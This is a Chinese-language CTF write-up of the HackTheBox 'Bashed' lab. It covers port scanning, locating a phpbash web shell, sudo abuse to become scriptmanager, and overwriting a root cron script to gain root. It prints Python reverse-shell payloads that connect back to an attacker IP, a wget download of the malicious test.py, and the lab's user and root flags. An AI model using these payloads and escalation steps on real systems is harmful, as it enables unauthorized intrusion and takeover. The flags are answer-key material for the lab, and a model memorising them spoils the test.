当前位置： 首页 > news >正文

HTB：Bashed[WriteUP]

news 2024/10/22 13:43:19

目录

连接至HTB服务器并启动靶机

1.How many open TCP ports are listening on Bashed?

2.What is the relative path on the webserver to a folder that contains phpbash.php?

3.What user is the webserver running as on Bashed?

执行命令：whoami

4.Submit the flag located in the arrexel user's home directory.

USER_FLAG：cbe6de5b0feafc1ab51318e2ee21537f

5.www-data can run any command as a user without a password. What is that user's username?

6.What folder in the system root can scriptmanager access that www-data could not?

Payload

7.What is filename of the file that is being run by root every couple minutes?

查看test.py文件内容

8.Submit the flag located in root's home directory.

ROOT_FLAG：291ef33b4e52533112fc62ee76664fad

连接至HTB服务器并启动靶机

靶机IP：10.10.10.68

分配IP：10.10.16.6

1.How many open TCP ports are listening on Bashed?

使用nmap对靶机进行端口扫描

nmap -p- -T4 --min-rate=1500 -sS -Pn {TARGET_IP}

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -T4 --min-rate=1500 -sS -Pn 10.10.10.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-19 00:12 EDT
Nmap scan report for 10.10.10.68
Host is up (0.096s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 29.52 seconds

由扫描结果可见，靶机开放端口：80共1个端口

2.What is the relative path on the webserver to a folder that contains phpbash.php?

在靶机主页面中，可以找到phpbash的相关博客

使用ffuf对靶机进行路径FUZZ，找到phpbash的位置

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ffuf -u http://10.10.10.68/FUZZ/phpbash.php -w ../dictionary/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.68/FUZZ/phpbash.php
 :: Wordlist         : FUZZ: /home/kali/Desktop/dictionary/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 144ms]
.htpasswd               [Status: 403, Size: 307, Words: 22, Lines: 12, Duration: 144ms]
.htaccess               [Status: 403, Size: 307, Words: 22, Lines: 12, Duration: 169ms]
dev                     [Status: 200, Size: 8151, Words: 3407, Lines: 216, Duration: 70ms]
server-status           [Status: 403, Size: 311, Words: 22, Lines: 12, Duration: 72ms]
:: Progress: [4614/4614] :: Job [1/1] :: 415 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

由输出可见，当在路径/dev时，靶机响应状态码为200

3.What user is the webserver running as on Bashed?

直接访问该文件：http://{TARGET_IP}/dev/phpbash.php

执行命令：whoami

由回显可见，运行该Web服务器的用户为：www-data

4.Submit the flag located in the arrexel user's home directory.

查找user_flag位置

find / -name 'user.txt'

查看user_flag内容

cat /home/arrexel/user.txt

www-data@bashed
:/var/www/html/dev# cat /home/arrexel/user.txt

cbe6de5b0feafc1ab51318e2ee21537f

USER_FLAG：cbe6de5b0feafc1ab51318e2ee21537f

5.www-data can run any command as a user without a password. What is that user's username?

查看当前用户可执行的特权命令

sudo -l

www-data@bashed
:/var/www/html/dev# sudo -l

Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

由回显可见，当前用户可以作为scriptmanager用户执行所有命令

6.What folder in the system root can scriptmanager access that www-data could not?

利用靶机存在python环境反弹shell

Payload

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{NATIVE_IP}",{NATIVE_PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

本地侧nc开启监听

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425      
listening on [any] 1425 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.68] 51118
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

列出根目录下所有文件夹及其权限

$ script /dev/null -c bash
Script started, file is /dev/null
www-data@bashed:/var/www/html/dev$ ls -la /
ls -la /
total 92
drwxr-xr-x  23 root          root           4096 Jun  2  2022 .
drwxr-xr-x  23 root          root           4096 Jun  2  2022 ..
-rw-------   1 root          root            174 Jun 14  2022 .bash_history
drwxr-xr-x   2 root          root           4096 Jun  2  2022 bin
drwxr-xr-x   3 root          root           4096 Jun  2  2022 boot
drwxr-xr-x  19 root          root           4140 Oct 18 20:56 dev
drwxr-xr-x  89 root          root           4096 Jun  2  2022 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Jun  2  2022 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Jun  2  2022 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 174 root          root              0 Oct 18 20:56 proc
drwx------   3 root          root           4096 Oct 18 20:57 root
drwxr-xr-x  18 root          root            500 Oct 18 20:56 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Jun  2  2022 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Oct 18 22:02 sys
drwxrwxrwt  10 root          root           4096 Oct 18 22:29 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Jun  2  2022 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic

由回显可见：/scripts文件夹scriptmanager可以访问而www-data不能

7.What is filename of the file that is being run by root every couple minutes?

直接通过sudo切换到scriptmanager用户

www-data@bashed:/var/spool/cron$ sudo -i -u scriptmanager
sudo -i -u scriptmanager
scriptmanager@bashed:~$ whoami
whoami
scriptmanager

进入/scripts目录下

cd /scripts

查看该目录下所有文件及其权限和访问时间

ls -la

scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Oct 18 23:19 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Oct 18 23:19 test.txt

当我把test.txt文件进行删除后，过了两分钟又会重新生成一个新日期的test.txt

查看test.py文件内容

scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

可见该py文件的作用是：打开test.txt并往里写入内容

以此可以确定该test.py文件被root用户包含在了定时任务内

8.Submit the flag located in root's home directory.

在本地写入一个新的test.py文件，利用它传入靶机来反弹shell

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.6",1426));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

将靶机scripts目录下所有文件删除

scriptmanager@bashed:/scripts$ rm test.py test.txt
rm test.py test.txt
rm: remove write-protected regular file 'test.txt'? yes
yes
scriptmanager@bashed:/scripts$ ls
ls
scriptmanager@bashed:/scripts$

将本地test.py上传至靶机

wget http://{NATIVE_IP}:{NATIVE_PORT}/test.py -O test.py

scriptmanager@bashed:/scripts$ wget http://10.10.16.6:6666/test.py -O test.py
wget http://10.10.16.6:6666/test.py -O test.py
--2024-10-18 23:26:42--  http://10.10.16.6:6666/test.py
Connecting to 10.10.16.6:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 221 [text/x-python]
Saving to: 'test.py'

test.py             100%[===================>]     221  --.-KB/s    in 0s      

2024-10-18 23:26:42 (70.6 MB/s) - 'test.py' saved [221/221]

scriptmanager@bashed:/scripts$ ls
ls
test.py

赋上777权限，以便root用户拥有足够的权限运行该文件

chmod 777 test.py

本地侧nc开启新的端口监听，等待root用户定时任务运行test.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.68] 55542
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

查找root_flag位置

find / -name 'root.txt'

查看root_flag内容

cat /root/root.txt

# find / -name 'root.txt'
/root/root.txt
# cat /root/root.txt
291ef33b4e52533112fc62ee76664fad

ROOT_FLAG：291ef33b4e52533112fc62ee76664fad


http://www.mrgr.cn/news/53913.html

相关文章：

  • 每日新闻掌握【2024年10月22日 星期二】
  • In-place Editor 存储库页面
  • Flutter Google安卓手机图标不能铺满整个圆形空间
  • HarmonyOS开发 - ohpm环境变量配置
  • linux file结构体与inode结构体
  • android 与网页交互通过网页修改宿主布局和异常处理——未来之窗行业应用跨平台架构
  • 下载nltk数据
  • 详细尝鲜flutter
  • 递归神经网络（RNN）简介
  • MySQL查看当前客户端连接数的方法
  • NOIP2007年复赛
  • 【北京迅为】《STM32MP157开发板嵌入式开发指南》- 第五十四章 Pinctrl 子系统和 GPIO 子系统
  • D-PAD论文解析
  • 虚拟机nacos部署报错数据源未设置问题解决方案
  • 逻辑之舞：C++ 内存分配与释放，在程序的舞台上，演绎着资源的分配与回收
  • 解决SolidWorks装配体无法更改透明度问题
  • 【数据结构】栈
  • 数仓建设：如何设计数据治理考评规则？
  • 类和对象（中）后面部分
  • 【note】GNN
  • Dropout为何能防止过拟合？dropout和BN 在前向传播和方向传播阶段的区别？
  • 「图::连通」详解并查集并实现对应的功能 / 手撕数据结构（C++）
  • 挑战自闭症儿童康复：探索有效治疗方法
  • C#从零开始学习(类型和引用)(4)
  • 解锁C++多态的魔力：灵活与高效的编码艺术（下）
  • 每日一题——第一百一十七题